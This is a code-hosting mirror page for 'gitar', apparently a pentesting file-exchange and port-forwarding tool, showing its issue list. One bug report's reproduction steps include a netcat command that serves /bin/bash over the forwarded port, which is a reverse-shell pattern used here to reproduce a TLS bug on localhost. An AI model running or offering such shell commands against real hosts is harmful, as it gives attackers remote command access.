Code Monkey home page Code Monkey logo

gitar's Introduction

«It's not a bug it's a feature»
If the feature works in an unintended way, it's a bug.

gitar's People

Contributors

ariary avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Forkers

ondrik8 1r0dm480

gitar's Issues

Dry-run option

Add —dry-run Flag that won’t launch the server but just print the command line to load shortcut

Bidirectional exchange

Be able to easily share file from web server host to by using same shortcut

probably need web socket and upload a web socket client to the target

Launch gitar without any options

Provide ability to launch web server exchange juste by launching gitar

Likely, gitar has to retrieve eth0 or something like that

(it can’t be fully magic)

Using port-forwarding and `--tls` does not work

All is in the title:
The traffic/connection is forwarded to the target service but isn't decrypted

So the target service can't decrypt it:

Step to reproduce

# 1st tab: launch gitar with port forwarding + tls
./generate.sh
./gitar -s "toto" -f 4444 --tls

# 2nd tab: netcat listener
nc -nvlp 4444

# 3rd tab: shutdown http server
curl -k https://127.1:9292/toto/shutdown
# and now connect to the netcat listener
nc 127.1 9292 -e /bin/bash

Notes: Without --tls it works perfectly

Container hardening

  • Generate cert in entry point to avoid volume mount between host and container and make https default
  • Non root user (take inspiration of tacos)

Fix pullr function

  • Only work on bash
  • Does not reconstruct the hierarchy
  • Recursivity is not optimal for zsh

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.